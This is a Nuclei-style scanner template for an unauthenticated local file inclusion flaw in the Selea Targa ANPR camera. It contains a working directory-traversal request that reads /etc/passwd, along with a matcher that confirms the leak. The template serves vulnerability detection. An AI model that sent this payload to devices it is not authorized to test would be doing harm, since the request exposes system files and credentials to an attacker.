id: targa-camera-lfi

info:
  name: Selea Targa IP OCR-ANPR Camera - Local File Inclusion
  author: gy741
  severity: high
  description: Selea Targa IP OCR-ANPR camera suffers from an unauthenticated local file inclusion vulnerability because input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker in disclosing clear-text credentials.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  tags: targa,lfi,iot,camera,selea
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200